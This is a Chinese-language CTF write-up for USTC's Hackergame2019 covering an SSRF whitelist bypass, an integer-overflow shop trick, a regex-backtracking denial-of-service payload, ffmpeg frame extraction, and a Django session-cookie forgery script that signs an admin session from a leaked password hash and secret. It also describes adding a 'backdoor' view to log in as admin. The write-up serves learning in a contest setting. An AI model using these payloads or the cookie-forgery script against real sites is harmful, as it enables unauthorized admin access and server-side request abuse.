前几天跟着几个大佬一起看了看中科大的Hackergame2019,这个比赛主要针对的是新手,激发新生对CTF比赛的兴趣,虽然我已经大三了,但实在是因为我过于five,也只能帮大佬打打杂,这里把自己做的题还是写一下wp,记录一下。

0x01 签到题

其实前面3个都是签到题,没意思,就不写了~~~

0x02 网页读取器

一个简单的SSRF

后台代码写了个白名单,可以绕过,下载下来的源代码如下,check_hostname为过滤函数

from flask import Flask, render_template, request, send_from_directory
import requests  # well, requests is designed for humans, and I like it.


app = Flask(__name__)
whitelist_hostname = ["example.com",
                    "www.example.com"]
whitelist_scheme = ["http://"]

def check_hostname(url):
   for i in whitelist_scheme:
       if url.startswith(i):   #输入的url必须以http:// 开头
           url = url[len(i):]  # 返回http://后面的字符串
           url = url[url.find("@") + 1:]  # 返回@后面的字符
           if not url.find("/") == -1:
               url = url[:url.find("/")]  # 返回/前的字符
           if not url.find(":") == -1:
               url = url[:url.find(":")]  # 返回:前的字符
           if url not in whitelist_hostname:
               return (False, "hostname {} not in whitelist".format(url))
           return (True, "ok")
   return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))

@app.route("/")
def index():
   return render_template("index.html")


@app.route("/request")
def req_route():
   url = request.args.get('url')
   status, msg = check_hostname(url)
   if status is False:
       # print(msg)
       return msg
   try:
       r = requests.get(url, timeout=2)
       if not r.status_code == 200:
           return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
       return r.text
   except requests.Timeout:
       return "We tried our best, but it just timeout."
   except requests.RequestException:
       return "While accessing your url, an exception occurred. There may be a problem with your url."


@app.route("/source")
def get_source():
   return send_from_directory("/static/", "app.py", as_attachment=True)


if __name__ == '__main__':
   app.run("0.0.0.0", 8000, debug=False)

我构造的payload为 url=http://web1/flag?@example.com:80

0x03 达拉崩吧大冒险

这道题主要是在买鸡那里,存在整数溢出,我的做法是,F12修改一个value值,当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag

0x04 正则验证器

这道题的要求是,在有限的长度(6)内构造一个正则表达式,要求匹配一个长度为24以内的字符串,十匹配的时间大于一秒,这里是考点主要是正则回溯

构造如下,就能得到flag

Regex: (a*)*S
String: aaaaaaaaaaaaaaaaaaaaaaab

这是题目的源码

#!/usr/bin/env python3
import signal
import re

def flag(*args, **kwargs):
   print(open("flag").read())
   exit()


def main():
   print("Welcome to the free online Regular Expression Verifier")
   print("Please enter your RegEx and string and I will match them for you\n")

   r = input("RegEx: ")
   if len(r) > 6:
       print("Sorry your regex is too long.")
       exit()
   s = input("String: ")
   if len(s) > 24:
       print("Sorry your string is too long.")
       exit()

   r = re.compile(r)
   signal.signal(signal.SIGALRM, flag)
   signal.alarm(1)
   m = r.search(s)
   signal.alarm(0)
   if m:
       print("Your regex matches the string!")
   else:
       print("Your regex doesn't match the string!")


if __name__ == "__main__":
   signal.alarm(30)
   main()

0x05 三教奇妙夜

下载下来的附件解压后是一个视频,时间长达11:58:24,提示也很明显的说了是插了帧在里面,用ffmepg每秒存了24张图,跑下来一共有107W多张,傻乎乎的写了图像识别的代码,然而我的代码太垃圾,效率还不如直接肉眼预览,于是就傻呼呼的看了快20W张,然后才发现其实直接把图片按大小排序,最小的几张就是,拼起来就是,后面又听见大佬们说,ffmepg可以直接分析不同的帧,卑微.jpg

直接识别的命令如下

ffmpeg -i input.mp4 -vf "select=gt(scene\,0.3), scale=320:240" -vsync vfr flag_frame%03d.png

0x06被泄露的姜戈

根据提示,在 https://github.com/openlug/django-common 或者 https://gitlab.com/openlug/django-common 找到源代码。用 openlug 和 Rabbit House 都是能搜到结果的。

简单的解法

需要简单学习 Django,并添加一个可以让你登录为 admin 的路由。

app/views.py 添加:

from django.contrib.auth.models import User
def backdoor(request):
  user = User.objects.get(username="admin") # 使用 Django ORM 选择 admin 用户
  login(request, user) # 以 admin 的身份登录
  return redirect(reverse("profile")) # 跳转到 profile

然后在 app/urls.py 里的 urlpatterns 里面添加 URL:

path('backdoor', views.backdoor, name='backdoor')

然后开跑:python manage.py runserver

访问我们加入的 backdoor,就可以看到 admin 的 cookie 了。把这个 cookie 复制,在 Console 里面 document.cookie=... 给 cookie 赋值,进入 /profile 就行了。

复杂的解法

这是我最开始出完题之后使用的解法。这种解法需要去看 Django 的源代码,了解其是如何处理 session 的。

首先根据 https://docs.djangoproject.com/en/2.2/topics/http/sessions/#using-cookie-based-sessions ,加上 settings.py 里面的设置,可以看到 session 设置成了签名后存储在 cookie 中。文档同时也给了一个 RCE 警告,但是因为我们没有用 PickleSerializer,所以没有这个漏洞。

从签名还原 session

登录为 guest,可以看到 guest 的 cookie 为

sessionid=.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iLiU1:d4koNGDuy18fbggeMbGhprUL_gs

然后呢?如果直接用 https://docs.djangoproject.com/en/2.2/topics/signing/ 里的方式,用 signing.loads(value) 的话,只能得到一条 Exception。我们要看django.contrib.sessions.backends.signed_cookies的实现。在此类的 load 方法中,可以看到:

return signing.loads(
        self.session_key,
        serializer=self.serializer,
        \# This doesn't handle non-default expiry dates, see #19201
        max_age=settings.SESSION_COOKIE_AGE,
        salt='django.contrib.sessions.backends.signed_cookies',
      )

它加盐了。我们用这个盐重新加载:

value = ".eJx(之后的内容省略)"
signing.loads(value, salt='django.contrib.sessions.backends.signed_cookies')

可以看到 guest session 是:

{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}

修改 session

我们的目标是让 _auth_user_id 为 1,并且改变后面对应的 _auth_user_hash,使 Django 认为我们的 cookie 是正确的。但后面那个 _auth_user_hash 又是个什么东西?

搜索 auth_user_hash,可以找到 https://docs.djangoproject.com/zh-hans/2.2/modules/django/contrib/auth/ ,其中对应到了 HASH_SESSION_KEY 变量,最终可以找到user.get_session_auth_hash()

这个函数的实现在 django/contrib/auth/base_user.py。

def get_session_auth_hash(self):
  """
  Return an HMAC of the password field.
  """
  key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
  return salted_hmac(key_salt, self.password).hexdigest()

这里的 self.password 不是原始密码,而是数据库中存储的密码哈希。读一下附送的 SQLite 数据库的 auth_user 表就可以了。

最终 exp 如下:

from django.core import signing
from django.utils.crypto import salted_hmac

admin_hash = "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE="

_auth_user_hash = salted_hmac("django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
              admin_hash).hexdigest()

payload = {'_auth_user_id': '1',
    '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
    '_auth_user_hash': _auth_user_hash}

cookie = signing.dumps(payload,
          salt='django.contrib.sessions.backends.signed_cookies',
          compress=True)

print(cookie)

花了好几天,就只做了这几道题(最后一个被泄露的姜戈是赛后看wp复现的),我真的是太菜了,队友警察也做了几个逆向,wp就让他写吧,我就不写了,到时候贴上他的博客链接就好,官方wp的github地址也放在下面了

官方:https://github.com/ustclug/hackergame2019-writeups

Hackergame2019 web的更多相关文章

  1. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  2. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  3. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  4. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  5. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  6. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

  7. 一步步开发自己的博客 .NET版(11、Web.config文件的读取和修改)

    Web.config的读取 对于Web.config的读取大家都很属性了.平时我们用得比较多的就是appSettings节点下配置.如: 我们对应的代码是: = ConfigurationManage ...

  8. Web性能优化:What? Why? How?

    为什么要提升web性能? Web性能黄金准则:只有10%~20%的最终用户响应时间花在了下载html文档上,其余的80%~90%时间花在了下载页面组件上. web性能对于用户体验有及其重要的影响,根据 ...

  9. Web性能优化:图片优化

    程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到 ...

随机推荐

  1. Property or method "openPageOffice" is not defined on the instance but referenced during render. Make sure that this property is reactive, either in the data option, or for class-based components, by

    Property or method "openPageOffice" is not defined on the instance but referenced during r ...

  2. pandas处理json脱坑(一)--JsonError: Expecting property name enclosed in double quotes

    python执行json.loads(…)时遇到的错误json格式的文本中应该用双引号,而不是单引号,如: brief=json.loads(row["brief"].replac ...

  3. Codeforces Educational Codeforces Round 54 题解

    题目链接:https://codeforc.es/contest/1076 A. Minimizing the String 题意:给出一个字符串,最多删掉一个字母,输出操作后字典序最小的字符串. 题 ...

  4. 快捷键IntelliJ IDEA For Mac

    http://www.cnblogs.com/wxd0108/p/5295017.html Mac键盘符号和修饰键说明 ⌘ Command ⇧ Shift ⌥ Option ⌃ Control ↩︎  ...

  5. leetcode解题报告(13):K-diff Pairs in an Array

    描述 Given an array of integers and an integer k, you need to find the number of unique k-diff pairs i ...

  6. [Luogu] 矩形覆盖

    https://www.luogu.org/problemnew/show/P1034 数据太水 爆搜过掉 #include <iostream> #include <cstdio& ...

  7. (WA)BZOJ 1503: [NOI2004]郁闷的出纳员

    二次联通门 : BZOJ 1503: [NOI2004]郁闷的出纳员 /* BZOJ 1503: [NOI2004]郁闷的出纳员 考虑这样一个事实 无论是加或减 都是针对全体人员的 那么只需要记录一个 ...

  8. 1633:【例 3】Sumdiv

    #include<bits/stdc++.h> #define ll long long using namespace std; ; ll a,b,ans=,cnt; ll p[],c[ ...

  9. Liunx之MySQL安装与主从复制

    MYSQL安装(mariadb) MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可. 开发这个分支的原因之一是:甲骨文公司收购了MySQL后,有将MySQL ...

  10. oracle查询消耗服务器资源SQL语句

    1.查找最近一天内,最消耗CPU的SQL语句 SELECT ASH.INST_ID, ASH.SQL_ID, (SELECT VS.SQL_TEXT FROM GV$SQLAREA VS WHERE ...